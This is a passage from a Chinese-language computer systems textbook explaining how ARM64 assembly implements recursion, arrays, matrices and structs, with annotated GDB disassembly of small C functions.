地址为 0x778 的`ldp`指令首先将`sp`和`sp` + 8 处的值分别复制到寄存器`x29`和`x30`中,将它们恢复到执行`main`函数之前的原始值。`ldp`指令的最后一部分(由操作数`[sp], #32`指定)将栈指针增加 32 字节,恢复`sp`到`main`执行前的原始值。因此,当`ldp`指令执行完毕时,栈指针(`sp`)、帧指针(`x29`)和返回寄存器(`x30`)都已恢复到它们的原始值。程序计数器推进到`main`函数中的最后一条指令。

最后执行的指令是`ret`。当返回寄存器`w0`中为 0x0 时,程序返回 0,表示正确终止。
如果你仔细阅读了这一部分内容,你应该明白为什么我们的程序输出值 42。实际上,程序不小心使用了栈中的旧值,导致其行为超出了我们的预期。这个例子没有什么危害;然而,我们将在后续章节讨论黑客如何恶意滥用函数调用,使得程序以真正恶意的方式表现异常。
### 9.6 递归
递归函数是一类特殊的函数,它们调用自身(也称为*自引用*函数)来计算一个值。与非递归函数类似,递归函数为每次函数调用创建新的栈帧。与标准函数不同,递归函数包含对自身的调用。
让我们回顾一下求和正整数从 1 到*n*的集合的问题。在之前的章节中,我们讨论了使用`sumUp`函数来完成这个任务。以下代码展示了一个相关的函数`sumDown`,它以相反的顺序(从*n*到 1)加和,并且它的递归等价函数是`sumr`:
迭代
int sumDown(int n) {
int total = 0;
int i = n;
while (i > 0) {
total += i;
i--;
}
return total;
}
递归
int sumr(int n) {
if (n <= 0) {
return 0;
}
return n + sumr(n-1);
}
递归函数`sumr`中的基本情况处理了所有小于或等于零的*n*值,而递归步骤将当前的*n*值加到`sumr`函数调用的结果上,其中调用时*n*的值为*n–1*。编译`sumr`并使用 GDB 反汇编得到以下汇编代码:
Dump of assembler code for function sumr:
0x770 <+0>: stp x29, x30, [sp, #-32]! // sp = sp-32; store x29,x30 on stack
0x774 <+4>: mov x29, sp // x29 = sp (i.e. x29 = top of stack)
0x778 <+8>: str w0, [x29, #28] // store w0 at x29+28 (n)
0x77c <+12>: ldr w0, [x29, #28] // w0 = n
0x780 <+16>: cmp w0, #0x0 // compare n to 0
0x784 <+20>: b.gt 0x790 <sumr+32> // if (n > 0) goto <sumr+32>
0x788 <+24>: mov w0, #0x0 // w0 = 0
0x78c <+28>: b 0x7a8 <sumr+56> // goto <sumr+56>
0x790 <+32>: ldr w0, [x29, #28] // w0 = n
0x794 <+36>: sub w0, w0, #0x1 // w0 = w0 - 1 (i.e. n-1)
0x798 <+40>: bl 0x770
0x79c <+44>: mov w1, w0 // copy result into register w1
0x7a0 <+48>: ldr w0, [x29, #28] // w0 = n
0x7a4 <+52>: add w0, w1, w0 // w0 = w0 + w1 (i.e n + result)
0x7a8 <+56>: ldp x29, x30, [sp], #32 // restore x29, x30, and sp
0x7ac <+60>: ret // return w0 (result)
上述汇编代码中的每一行都附有它的英文翻译。这里,我们展示了对应的`goto`形式(第一种)和没有`goto`语句的 C 程序(第二种):
C 的 goto 形式
int sumr(int n) {
int result;
if (n > 0) {
goto body;
}
result = 0;
goto done;
body:
result = n;
result--;
result = sumr(result);
result += n;
done:
return result;
}
不带 goto 的 C 版本
int sumr(int n) {
int result;
if (n <= 0) {
return 0;
}
result = sumr(n-1);
result += n;
return result;
}
尽管这种翻译在最初可能看起来与原始的`sumr`函数不完全相同,但仔细观察后可以发现这两个函数实际上是等价的。
#### 9.6.1 动画:观察调用栈的变化
作为一个练习,我们鼓励你绘制栈,并观察值是如何变化的。我们在线提供了一段动画,展示了当我们使用值`3`运行此函数时,栈是如何更新的。^(5)
### 9.7 数组
回顾一下,数组(见第 44 页中的“数组介绍”)是存储在内存中相邻位置的同一类型的数据元素的有序集合。静态分配的一维数组(见第 81 页中的“单维数组”)的形式为<type>`arr[N]`,其中<type>是数据类型,`arr`是与数组关联的标识符,`N`是数据元素的数量。静态声明一个数组形式为<type>`arr[N]`或动态声明为`arr = malloc(N*sizeof(<type>))`,这将分配*N* × `sizeof(<type>)`字节的总内存。
要访问数组`arr`中索引为`i`的元素,使用语法`arr[i]`。编译器通常会在转换为汇编之前将数组引用转换为指针运算(见第 67 页中的“指针变量”)。因此,`arr+i`等价于`&arr[i]`,`*(arr+i)`等价于`arr[i]`。由于`arr`中的每个数据元素都是<type>类型,`arr+i`意味着第`i`个元素存储在地址`arr` + `sizeof(<type>)` × `i`的位置。
表 9-15 概述了一些常见的数组操作及其对应的汇编指令。在接下来的示例中,假设我们声明了一个长度为 10 的`int`数组(例如,`int arr[10]`)。假设寄存器`x1`存储`arr`的地址,寄存器`x2`存储`int`值`i`,寄存器`x0`表示某个变量`x`(也是`int`类型)。回顾一下,`int`变量占用四个字节空间,而`int *`变量占用八个字节空间。
**表 9-15:** 常见的数组操作及其对应的汇编表示
| **操作** | **类型** | **汇编表示** |
| --- | --- | --- |
| `x = arr` | `int *` | `mov x0, x1` |
| `x = arr[0]` | `int` | `ldr w0, [x1]` |
| `x = arr[i]` | `int` | `ldr w0, [x1, x2, LSL, #2]` |
| `x = &arr[3]` | `int *` | `add x0, x1, #12` |
| `x = arr+3` | `int *` | `add x0, x1, #12` |
| `x = *(arr+5)` | `int` | `ldr w0, [x1, #20]` |
请注意,为了访问元素 `arr[5]`(或使用指针运算访问 `*(arr+5)`),编译器会对地址 `arr+5*4` 进行内存查找,而不是 `arr+5`。要理解为什么这样做是必要的,请回想一下,数组中索引为 `i` 的元素存储在地址 `arr` + `sizeof(<type>)` × `i`。因此,编译器必须将索引乘以数据类型的大小(在此情况下是 4,因为 `sizeof(int)` = 4)来计算正确的偏移量。还要记住,内存是按字节寻址的;通过正确的字节数偏移等同于计算一个地址。
例如,考虑一个包含 10 个整数元素的示例数组(`array`)(图 9-7)。

*图 9-7:十个整数数组在内存中的布局。每个标有 a[i] 的框表示四字节的偏移,因为每个整数需要四个字节来存储。*
请注意,由于 `array` 是一个整数数组,每个元素恰好占用四个字节。因此,一个包含 10 个元素的整数数组会占用 40 字节的连续内存。
为了计算元素 3 的地址,编译器将索引 3 乘以整数类型的数据大小(4),得到一个偏移量为 12(或 0xc)。果然,图 9-7 中的元素 3 位于字节偏移量 *a*[12]。
让我们来看一个简单的 C 函数,名为 `sumArray`,它会对数组中的所有元素求和:
int sumArray(int *array, int length) {
int i, total = 0;
for (i = 0; i < length; i++) {
total += array[i];
}
return total;
}
`sumArray` 函数接受数组的地址和数组的长度,并对数组中的所有元素求和。现在,让我们看一下 `sumArray` 函数的对应汇编代码:
Dump of assembler code for function sumArray:
0x874 <+0>: sub sp, sp, #0x20 // grow stack by 32 bytes (new frame)
0x878 <+4>: str x0, [sp, #8] // store x0 at sp + 8 (array address)
0x87c <+8>: str w1, [sp, #4] // store w1 at sp + 4 (length)
0x880 <+12>: str wzr, [sp, #28] // store 0 at sp + 28 (total)
0x884 <+16>: str wzr, [sp, #24] // store 0 at sp + 24 (i)
0x888 <+20>: b 0x8b8 <sumArray+68> // goto <sumArray+68>
0x88c <+24>: ldrsw x0, [sp, #24] // x0 = i
0x890 <+28>: lsl x0, x0, #2 // left shift i by 2 (i ≪ 2, or i*4)
0x894 <+32>: ldr x1, [sp, #8] // x1 = array
0x898 <+36>: add x0, x1, x0 // x0 = array + i*4
0x89c <+40>: ldr w0, [x0] // w0 = array[i]
0x8a0 <+44>: ldr w1, [sp, #28] // w1 = total
0x8a4 <+48>: add w0, w1, w0 // w0 = total + array[i]
0x8a8 <+52>: str w0, [sp, #28] // store (total + array[i]) in total
0x8ac <+56>: ldr w0, [sp, #24] // w0 = i
0x8b0 <+60>: add w0, w0, #0x1 // w0 = w0 + 1 (i+1)
0x8b4 <+64>: str w0, [sp, #24] // store (i + 1) in i (i.e. i+=1)
0x8b8 <+68>: ldr w1, [sp, #24] // w1 = i
0x8bc <+72>: ldr w0, [sp, #4] // w0 = length
0x8c0 <+76>: cmp w1, w0 // compare i and length
0x8c4 <+80>: b.lt 0x88c <sumArray+24> // if (i < length) goto <sumArray+24>
0x8c8 <+84>: ldr w0, [sp, #28] // w0 = total
0x8cc <+88>: add sp, sp, #0x20 // revert stack to original state
0x8d0 <+92>: ret // return (total)
在跟踪这段汇编代码时,考虑一下被访问的数据是指针还是值。例如,`<sumArray+12>` 处的指令会导致栈位置 `sp` + 28 包含一个类型为 `int` 的变量,该变量最初被设置为 0。相反,存储在 `sp` + 8 位置的参数是函数的第一个参数(`array`),它是 `int *` 类型,并对应数组的基地址。另一个变量(我们称之为 `i`)存储在 `sp` + 24 位置,初始值为 0。
敏锐的读者会注意到 `<sumArray+30>` 处出现了一条之前未见的指令 `ldrsw`。`ldrsw` 指令表示“加载寄存器有符号字”,它将存储在 `sp` + 24 处的 32 位 `int` 值转换为 64 位整数,并将其存储在 `x0` 中。这个操作是必要的,因为接下来的指令要进行指针运算。请记住,在 64 位系统中,指针占用八个字节的空间。编译器使用 `ldrsw` 来简化这个过程,确保所有数据都存储在完整的 64 位寄存器中,而不是它们的 32 位组件。
让我们仔细看看 `<sumArray+28>` 和 `<sumArray+52>` 之间的七条指令:
0x890 <+28>: lsl x0, x0, #2 // left shift i by 2 (i ≪ 2, or i*4)
0x894 <+32>: ldr x1, [sp, #8] // x1 = array
0x898 <+36>: add x0, x1, x0 // x0 = array + i*4
0x89c <+40>: ldr w0, [x0] // w0 = array[i]
0x8a0 <+44>: ldr w1, [sp, #28] // w1 = total
0x8a4 <+48>: add w0, w1, w0 // w0 = total + array[i]
0x8a8 <+52>: str w0, [sp, #28] // store (total + array[i]) in total
编译器使用 `lsl` 对存储在 `x0` 中的值 `i` 执行左移操作。当此指令执行完毕时,寄存器 `x0` 中包含 `i ≪ 2`,即 `i * 4`。此时,`x0` 包含计算 `array[i]` 正确偏移量所需的字节数(或 `sizeof(int)` = 4)。
下一条指令(`ldr x1, [sp, #8]`)将函数的第一个参数(即 `array` 的基地址)加载到寄存器 `x1` 中。在接下来的指令中,将 `x1` 加到 `x0` 中,使得 `x0` 包含 `array` + `i` × 4。请记住,`array` 中索引为 `i` 的元素存储在地址 `array` + `sizeof(<type>)` × `i` 处。因此,`x0` 现在包含了地址 `&array[i]` 的汇编级计算。
`<sumArray+40>` 处的指令*取消引用*了存储在 `x0` 中的值,将 `array[i]` 的值放入 `w1` 中。请注意使用了组件寄存器 `w1`,因为 `array[i]` 包含一个 32 位的 `int` 值!相比之下,变量 `i` 在 `<sumArray+24>` 处被更改为 64 位整数,因为 `i` 即将用于*地址计算*。再次提醒,地址(指针)以 64 位字存储。
`<sumArray+44>` 和 `<sumArray+52>` 之间的最后三条指令将当前的 `total` 值加载到组件寄存器 `w1` 中,将 `array[i]` 加到其中,并将结果存储在组件寄存器 `w0` 中,然后在 `sp` + 28 位置更新 `total` 为新的和。因此,`<sumArray+28>` 和 `<sumArray+52>` 之间的七条指令等价于 `sumArray` 函数中的 `total += array[i]` 这一行。
### 9.8 矩阵
矩阵是一个二维数组。在 C 语言中,矩阵可以作为静态二维数组(`M[n][m]`)分配,或者通过一次 `malloc` 调用进行动态分配,或者作为数组的数组进行动态分配。我们来看看数组的数组实现。第一个数组包含 `n` 个元素(`M[n]`),矩阵中的每个元素 `M[i]` 包含一个 `m` 个元素的数组。以下代码片段声明了大小为 4 × 3 的矩阵:
//statically allocated matrix (allocated on stack)
int M1[4][3];
//dynamically allocated matrix (programmer friendly, allocated on heap)
int **M2, i;
M2 = malloc(4 * sizeof(int*));
for (i = 0; i < 4; i++) {
M2[i] = malloc(3 * sizeof(int));
}
对于动态分配的矩阵,主数组包含一组连续的 `int` 指针数组。每个整数指针指向内存中的不同数组。图 9-8 说明了我们通常如何可视化这些矩阵。

*图 9-8:静态分配(`M1`)和动态分配(`M2`)3 × 4 矩阵的示例*
对于这两个矩阵声明,元素(*i*,*j*)可以使用双索引语法`M[i][j]`来访问,其中`M`可以是`M1`或`M2`。然而,这些矩阵在内存中的组织方式不同。尽管两者都在主数组中连续存储元素,但是我们静态分配的矩阵也将所有行连续存储在内存中,如图 9-9 所示。

*图 9-9:按行主序排列的矩阵`M1`的内存布局*
这种连续的排序对于`M2`并不保证。回顾一下(参见第 86 页的“二维数组内存布局”),为了在堆上连续分配一个*n* × *m*矩阵,我们应该使用一次调用`malloc`来分配*n* × *m*个元素:
//dynamic matrix (allocated on heap, memory efficient way)
define ROWS 4
define COLS 3
int *M3;
M3 = malloc(ROWSCOLSsizeof(int));
请注意,对于声明为`M3`的矩阵,无法使用`M[i][j]`的方式访问元素(*i*,*j*)。相反,我们必须使用`M3[i*cols + j]`的格式进行索引。
#### 9.8.1 连续二维数组
考虑一个名为`sumMat`的函数,它以一个指向连续分配的(静态分配或内存高效动态分配的)矩阵的指针作为其第一个参数,以及行数和列数,并返回矩阵中所有元素的总和。
我们在接下来的代码片段中使用了比例索引,因为它适用于静态和动态分配的连续矩阵。回想一下,语法`m[i][j]`不能与先前讨论的内存高效连续动态分配一起使用。
int sumMat(int *m, int rows, int cols) {
int i, j, total = 0;
for (i = 0; i < rows; i++){
for (j = 0; j < cols; j++){
total += m[i*cols + j];
}
}
return total;
}
下面是相应的汇编代码。每行都用其英文翻译进行了注释:
Dump of assembler code for function sumMat:
0x884 <+0>: sub sp, sp, #0x20 // grow stack by 32 bytes (new frame)
0x888 <+4>: str x0, [sp, #8] // store m in location sp + 8
0x88c <+8>: str w1, [sp, #4] // store rows in location sp + 4
0x890 <+12>: str w2, [sp] // store cols at top of stack
0x894 <+16>: str wzr, [sp, #28] // store zero at sp + 28 (total)
0x898 <+20>: str wzr, [sp, #20] // store zero at sp + 20 (i)
0x89c <+24>: b 0x904 <sumMat+128> // goto <sumMat+128>
0x8a0 <+28>: str wzr, [sp, #24] // store zero at sp + 24 (j)
0x8a4 <+32>: b 0x8e8 <sumMat+100> // goto <sumMat+100>
0x8a8 <+36>: ldr w1, [sp, #20] // w1 = i
0x8ac <+40>: ldr w0, [sp] // w0 = cols
0x8b0 <+44>: mul w1, w1, w0 // w1 = cols * i
0x8b4 <+48>: ldr w0, [sp, #24] // w0 = j
0x8b8 <+52>: add w0, w1, w0 // w0 = (cols * i) + j
0x8bc <+56>: sxtw x0, w0 // x0 = signExtend(cols * i + j)
0x8c0 <+60>: lsl x0, x0, #2 // x0 = (cols * i + j) * 4
0x8c4 <+64>: ldr x1, [sp, #8] // x1 = m
0x8c8 <+68>: add x0, x1, x0 // x0 = m+(colsi+j)4 (or &m[i*cols+j])
0x8cc <+72>: ldr w0, [x0] // w0 = m[i*cols + j]
0x8d0 <+76>: ldr w1, [sp, #28] // w1 = total
0x8d4 <+80>: add w0, w1, w0 // w0 = total + m[i*cols + j]
0x8d8 <+84>: str w0, [sp, #28] // total is now (total + m[i*cols + j])
0x8dc <+88>: ldr w0, [sp, #24] // w0 = j
0x8e0 <+92>: add w0, w0, #0x1 // w0 = j + 1
0x8e4 <+96>: str w0, [sp, #24] // update j with (j + 1)
0x8e8 <+100>: ldr w1, [sp, #24] // w1 = j
0x8ec <+104>: ldr w0, [sp] // w0 = cols
0x8f0 <+108>: cmp w1, w0 // compare j with cols
0x8f4 <+112>: b.lt 0x8a8 <sumMat+36> // if (j < cols) goto <sumMat+36>
0x8f8 <+116>: ldr w0, [sp, #20] // w0 = i
0x8fc <+120>: add w0, w0, #0x1 // w0 = i + 1
0x900 <+124>: str w0, [sp, #20] // update i with (i+1)
0x904 <+128>: ldr w1, [sp, #20] // w1 = i
0x908 <+132>: ldr w0, [sp, #4] // w0 = rows
0x90c <+136>: cmp w1, w0 // compare i with rows
0x910 <+140>: b.lt 0x8a0 <sumMat+28> // if (i < rows) goto <sumMat+28>
0x914 <+144>: ldr w0, [sp, #28] // w0 = total
0x918 <+148>: add sp, sp, #0x20 // revert stack to prior state
0x91c <+152>: ret // return (total)
本地变量`i`、`j`和`total`存储在堆栈位置`sp` + 20、`sp` + 24 和`sp` + 28 处。输入参数`m`、`row`和`cols`存储在位置`sp` + 8、`sp` + 4 和堆栈顶部`sp`处。有了这些知识,让我们聚焦于处理矩阵中元素(*i*,*j*)访问的组件(0x8a8–0x8d8):
0x8a8 <+36>: ldr w1, [sp, #20] // w1 = i
0x8ac <+40>: ldr w0, [sp] // w0 = cols
0x8b0 <+44>: mul w1, w1, w0 // w1 = cols * i
第一组指令计算了值`cols*i`并将其放入寄存器`w1`中。回想一下,对于某个名为`matrix`的矩阵,`matrix+i*cols`等同于`&matrix[i]`。
0x8b4 <+48>: ldr w0, [sp, #24] // w0 = j
0x8b8 <+52>: add w0, w1, w0 // w0 = (cols * i) + j
0x8bc <+56>: sxtw x0, w0 // x0 = signExtend(cols * i + j)
0x8c0 <+60>: lsl x0, x0, #2 // x0 = (cols * i + j) * 4
接下来的指令集计算了`(cols*i + j) * 4`的值。编译器将索引`cols * i + j`乘以四,因为矩阵中的每个元素都是四字节整数,这样的乘法使编译器能够计算出正确的偏移量。第`<sumMat+56>`行的`sxtw`指令将`w0`的内容符号扩展为 64 位整数,因为地址计算需要这个值。
下一组指令将计算得到的偏移量添加到矩阵指针中,并对其进行解引用,从而得到元素(*i*,*j*)的值:
0x8c4 <+64>: ldr x1, [sp, #8] // x1 = m
0x8c8 <+68>: add x0, x1, x0 // x0 = m + (colsi + j)4 (or m[i*cols + j])
0x8cc <+72>: ldr w0, [x0] // w0 = m[i*cols + j]
0x8d0 <+76>: ldr w1, [sp, #28] // w1 = total
0x8d4 <+80>: add w0, w1, w0 // w0 = total + m[i*cols + j]
0x8d8 <+84>: str w0, [sp, #28] // update total with (total + m[i*cols + j])
第一条指令将矩阵 `m` 的地址加载到寄存器 `x1` 中。`add` 指令将 `(cols * i + j) * 4` 加到 `m` 的地址上,以正确计算元素 (*i*,*j*) 的偏移量,然后将结果放入寄存器 `x0`。第三条指令解引用 `x0` 中的地址,并将值(`m[i * cols + j]`)放入 `w0` 中。注意 `w0` 作为目标组件寄存器的使用;由于我们的矩阵包含整数,并且整数占四个字节的空间,因此组件寄存器 `w0` 再次被用来代替 `x0`。
最后三条指令将当前的 `total` 值加载到寄存器 `w1`,将 `total` 与 `m[i * cols + j]` 相加,然后用结果的和更新 `total`。
让我们来看看如何访问矩阵 `M1` 中的元素 (1,2)。

*图 9-10:矩阵 `M1` 按行主序排列的内存布局(摘自 图 9-9)*
元素 (1,2) 位于地址 `M1 + 1 * cols + 2`。由于 `cols` = 3,元素 (1,2) 对应于 `M1 + 5`。要访问这个位置的元素,编译器必须将 5 乘以 `int` 数据类型的大小(四个字节),得到偏移量 `M1 + 20`,该偏移量对应图中字节 *a*[20]。解引用这个位置得到元素 5,这实际上就是矩阵中的元素 (1,2)。
#### 9.8.2 非连续矩阵
非连续矩阵的实现稍微复杂一些。图 9-11 直观展示了 `M2` 在内存中的布局。

*图 9-11:矩阵 M2 在内存中的非连续布局*
注意到 `M2` 中的指针数组是连续的,而且每个由 `M2` 的某个元素指向的数组(例如,`M2[i]`)也是连续的。然而,这些单独的数组彼此之间并不连续。由于 `M2` 是一个指针数组,`M2` 的每个元素占用八个字节的空间。相比之下,由于每个 `M2[i]` 是一个 `int` 数组,`M2[i]` 数组中的元素之间相隔四个字节。
以下示例中的 `sumMatrix` 函数将一个整数指针数组(称为 `matrix`)作为第一个参数,行数和列数作为第二个和第三个参数:
int sumMatrix(int **matrix, int rows, int cols) {
int i, j, total=0;
for (i = 0; i < rows; i++) {
for (j = 0; j < cols; j++) {
total += matrix[i][j];
}
}
return total;
}
尽管这个函数看起来几乎与前面展示的 `sumMat` 函数相同,但该函数接受的矩阵是一个连续的 *指针* 数组。每个指针包含一个独立连续数组的地址,该数组对应矩阵中的一行。
以下是 `sumMatrix` 的对应汇编代码。每行代码都有英文翻译的注释。
Dump of assembler code for function sumMatrix:
0x920 <+0>: sub sp, sp, #0x20 // grow stack 32 bytes (new frame)
0x924 <+4>: str x0, [sp, #8] // store matrix at sp + 8
0x928 <+8>: str w1, [sp, #4] // store rows at sp + 4
0x92c <+12>: str w2, [sp] // store cols at sp (top of stack)
0x930 <+16>: str wzr, [sp, #28] // store 0 at sp + 28 (total)
0x934 <+20>: str wzr, [sp, #20] // store 0 at sp + 20 (i)
0x938 <+24>: b 0x99c <sumMatrix+124> // goto <sumMatrix+124>
0x93c <+28>: str wzr, [sp, #24] // store 0 at sp + 24 (j)
0x940 <+32>: b 0x980 <sumMatrix+96> // goto <sumMatrix+96>
0x944 <+36>: ldrsw x0, [sp, #20] // x0 = signExtend(i)
0x948 <+40>: lsl x0, x0, #3 // x0 = i ≪ 3 (or i * 8)
0x94c <+44>: ldr x1, [sp, #8] // x1 = matrix
0x950 <+48>: add x0, x1, x0 // x0 = matrix + i * 8
0x954 <+52>: ldr x1, [x0] // x1 = matrix[i]
0x958 <+56>: ldrsw x0, [sp, #24] // x0 = signExtend(j)
0x95c <+60>: lsl x0, x0, #2 // x0 = j ≪ 2 (or j * 4)
0x960 <+64>: add x0, x1, x0 // x0 = matrix[i] + j * 4
0x964 <+68>: ldr w0, [x0] // w0 = matrix[i][j]
0x968 <+72>: ldr w1, [sp, #28] // w1 = total
0x96c <+76>: add w0, w1, w0 // w0 = total + matrix[i][j]
0x970 <+80>: str w0, [sp, #28] // store total = total+matrix[i][j]
0x974 <+84>: ldr w0, [sp, #24] // w0 = j
0x978 <+88>: add w0, w0, #0x1 // w0 = j + 1
0x97c <+92>: str w0, [sp, #24] // update j with (j + 1)
0x980 <+96>: ldr w1, [sp, #24] // w1 = j
0x984 <+100>: ldr w0, [sp] // w0 = cols
0x988 <+104>: cmp w1, w0 // compare j with cols
0x98c <+108>: b.lt 0x944 <sumMatrix+36> // if (j < cols) goto <sumMatrix+36>
0x990 <+112>: ldr w0, [sp, #20] // w0 = i
0x994 <+116>: add w0, w0, #0x1 // w0 = i + 1
0x998 <+120>: str w0, [sp, #20] // update i with (i + 1)
0x99c <+124>: ldr w1, [sp, #20] // w1 = i
0x9a0 <+128>: ldr w0, [sp, #4] // w0 = rows
0x9a4 <+132>: cmp w1, w0 // compare i with rows
0x9a8 <+136>: b.lt 0x93c <sumMatrix+28> // if (i < rows) goto <sumMatrix+28>
0x9ac <+140>: ldr w0, [sp, #28] // w0 = total
0x9b0 <+144>: add sp, sp, #0x20 // revert stack to its original form
0x9b4 <+148>: ret // return (total)
同样,变量 `i`、`j` 和 `total` 分别位于栈地址 `sp` + 20、`sp` + 24 和 `sp` + 28。输入参数 `matrix`、`row` 和 `cols` 分别位于栈地址 `sp` + 8、`sp` + 4 和 `sp`(栈顶)。
让我们聚焦于专门处理访问元素 (*i*,*j*) 或 `matrix[i][j]` 的部分,这在指令 0x944 和 0x970 之间:
0x944 <+36>: ldrsw x0, [sp, #20] // x0 = signExtend(i)
0x948 <+40>: lsl x0, x0, #3 // x0 = i ≪ 3 (or i * 8)
0x94c <+44>: ldr x1, [sp, #8] // x1 = matrix
0x950 <+48>: add x0, x1, x0 // x0 = matrix + i * 8
0x954 <+52>: ldr x1, [x0] // x1 = matrix[i]
本示例中的五条指令计算 `matrix[i]` 或 `*(matrix+i)`。由于 `matrix[i]` 包含一个指针,`i` 首先被转换为一个 64 位整数。然后,编译器通过使用位移操作将 `i` 乘以 8,再将结果加到 `matrix` 上,从而得到正确的地址偏移(请记住,指针的大小是 8 字节)。`<sumMatrix+52>` 处的指令随后对计算出的地址进行解引用,以获取元素 `matrix[i]`。
由于 `matrix` 是一个 `int` 指针的数组,位于 `matrix[i]` 的元素本身就是一个 `int` 指针。`matrix[i]` 中的 *j* 元素位于 `matrix[i]` 数组中的偏移量 `j × 4` 处。
下一组指令提取数组 `matrix[i]` 中的 *j* 元素:
0x958 <+56>: ldrsw x0, [sp, #24] // x0 = signExtend(j)
0x95c <+60>: lsl x0, x0, #2 // x0 = j ≪ 2 (or j * 4)
0x960 <+64>: add x0, x1, x0 // x0 = matrix[i] + j * 4
0x964 <+68>: ldr w0, [x0] // w0 = matrix[i][j]
0x968 <+72>: ldr w1, [sp, #28] // w1 = total
0x96c <+76>: add w0, w1, w0 // w0 = total + matrix[i][j]
0x970 <+80>: str w0, [sp, #28] // store total = total + matrix[i][j]
这个代码片段中的第一条指令将变量 `j` 加载到寄存器 `x0` 中,并在此过程中进行符号扩展。然后,编译器使用左移(`lsl`)指令将 `j` 乘以 4,并将结果存储在寄存器 `x0` 中。编译器最后将结果加到 `matrix[i]` 所在的地址上,从而得到元素 `matrix[i][j]` 的地址,或者 `&matrix[i][j]`。`<sumMatrix+68>` 处的指令随后对该地址进行解引用,以获取 `matrix[i][j]` 的 *值*,并将其存储在寄存器 `w0` 中。最后,`<sumMatrix+72>` 到 `<sumMatrix+80>` 之间的指令将 `total` 加到 `matrix[i][j]` 上,并用结果更新变量 `total`。
让我们考虑访问`M2[1][2]`的一个示例。

*图 9-12:矩阵 M2 在内存中的非连续布局(摘自图 9-11)*
请注意,`M2` 从内存位置 *a*[0] 开始。编译器首先通过将 1 乘以 8(`sizeof(int *)`),然后将结果加到 `M2` 的地址 (*a*[0]) 上,计算出 `M2[1]` 的地址,得到的新地址是 *a*[8]。对该地址进行解引用会得到与 `M2[1]` 相关联的地址,即 *a*[36]。然后,编译器将索引 2 乘以 4(`sizeof(int)`),并将结果(8)加到 *a*[36] 上,得到最终地址 *a*[44]。地址 *a*[44] 被解引用,得到值 5。果然,图 9-12 中对应 `M2[1][2]` 的元素值就是 5。
### 汇编中的 9.9 结构体
`struct`(参见 C 结构体,第 103 页)是另一种在 C 中创建数据类型集合的方式。与数组不同,它允许不同的数据类型组合在一起。C 将 `struct` 存储得像一个一维数组,其中数据元素(字段)是连续存储的。
让我们回顾一下来自第一章的 `struct studentT`:
struct studentT {
char name[64];
int age;
int grad_yr;
float gpa;
};
struct studentT student;
图 9-13 显示了 `student` 在内存中的布局。每个 *a*[*i*] 表示内存中的一个偏移量。

*图 9-13:`struct studentT` 的内存布局*
每个字段都按照声明的顺序在内存中连续存储。在图 9-13 中,`age`字段被分配在紧接着`name`字段的位置(字节偏移量 *a*[64]),后面是`grad_yr`(字节偏移量 *a*[68])和`gpa`(字节偏移量 *a*[72])字段。这种组织方式使得访问字段时能够高效利用内存。
要理解编译器如何生成汇编代码以处理`struct`,请考虑`initStudent`函数:
void initStudent(struct studentT *s, char *nm, int ag, int gr, float g) {
strncpy(s->name, nm, 64);
s->grad_yr = gr;
s->age = ag;
s->gpa = g;
}
`initStudent`函数将`struct studentT`的基地址作为第一个参数,剩余的参数是每个字段的期望值。以下清单展示了该函数的汇编代码:
Dump of assembler code for function initStudent:
0x7f4 <+0>: stp x29, x30, [sp, #-48]! // sp-=48; store x29, x30 at sp, sp+4
0x7f8 <+4>: mov x29, sp // x29 = sp (frame ptr = stack ptr)
0x7fc <+8>: str x0, [x29, #40] // store s at x29 + 40
0x800 <+12>: str x1, [x29, #32] // store nm at x29 + 32
0x804 <+16>: str w2, [x29, #28] // store ag at x29 + 28
0x808 <+20>: str w3, [x29, #24] // store gr at x29 + 24
0x80c <+24>: str s0, [x29, #20] // store g at x29 + 20
0x810 <+28>: ldr x0, [x29, #40] // x0 = s
0x814 <+32>: mov x2, #0x40 // x2 = 0x40 (or 64)
0x814 <+36>: ldr x1, [x29, #32] // x1 = nm
0x818 <+40>: bl 0x6e0 strncpy@plt // call strncpy(s, nm, 64) (s->name)
0x81c <+44>: ldr x0, [x29, #40] // x0 = s
0x820 <+48>: ldr w1, [x29, #24] // w1 = gr
0x824 <+52>: str w1, [x0, #68] // store gr at (s + 68) (s->grad_yr)
0x828 <+56>: ldr x0, [x29, #40] // x0 = s
0x82c <+60>: ldr w1, [x29, #28] // w1 = ag
0x830 <+64>: str w1, [x0, #64] // store ag at (s + 64) (s->age)
0x834 <+68>: ldr x0, [x29, #40] // x0 = s
0x838 <+72>: ldr s0, [x29, #20] // s0 = g
0x83c <+80>: str s0, [x0, #72] // store g at (s + 72) (s->gpa)
0x844 <+84>: ldp x29, x30, [sp], #48 // x29 = sp, x30 = sp+4, sp += 48
0x848 <+88>: ret // return (void)
注意每个字段的字节偏移量对于理解这段代码至关重要。这里有一些要记住的事项。
`strncpy`调用将`s`的`name`字段的基地址、数组`nm`的地址以及长度指定符作为三个参数。请回想一下,由于`name`是`struct studentT`中的第一个字段,`s`的地址即等同于`s->name`的地址。
0x7fc <+8>: str x0, [x29, #40] // store s at x29 + 40
0x800 <+12>: str x1, [x29, #32] // store nm at x29 + 32
0x804 <+16>: str w2, [x29, #28] // store ag at x29 + 28
0x808 <+20>: str w3, [x29, #24] // store gr at x29 + 24
0x80c <+24>: str s0, [x29, #20] // store g at x29 + 20
0x810 <+28>: ldr x0, [x29, #40] // x0 = s
0x814 <+32>: mov x2, #0x40 // x2 = 0x40 (or 64)
0x814 <+36>: ldr x1, [x29, #32] // x1 = nm
0x818 <+40>: bl 0x6e0 strncpy@plt // call strncpy(s, nm, 64) (s->name)
上面的代码片段包含了一个未讨论的寄存器(`s0`)。`s0`寄存器是一个为浮点值保留的寄存器的例子。
下一部分(指令 `<initStudent+44>` 到 `<initStudent+52>`)将`gr`参数的值放置在`s`的起始地址偏移量 68 的位置。回顾图 9-13 中的内存布局,可以看到该地址对应于`s->grad_yr`。
0x81c <+44>: ldr x0, [x29, #40] // x0 = s
0x820 <+48>: ldr w1, [x29, #24] // w1 = gr
0x824 <+52>: str w1, [x0, #68] // store gr at (s + 68) (s->grad_yr)
下一部分(指令 `<initStudent+56>` 到 `<initStudent+64>`)将`ag`参数复制到`s->age`字段,该字段位于`s`地址的偏移量 64 字节处。
0x828 <+56>: ldr x0, [x29, #40] // x0 = s
0x82c <+60>: ldr w1, [x29, #28] // w1 = ag
0x830 <+64>: str w1, [x0, #64] // store ag at (s + 64) (s->age)
最后,`g`参数的值被复制到`s->gpa`字段(字节偏移量 72)。请注意,由于位于位置`x29` + 20 的数据显示的是单精度浮点数,因此使用了`s0`寄存器:
0x834 <+68>: ldr x0, [x29, #40] // x0 = s
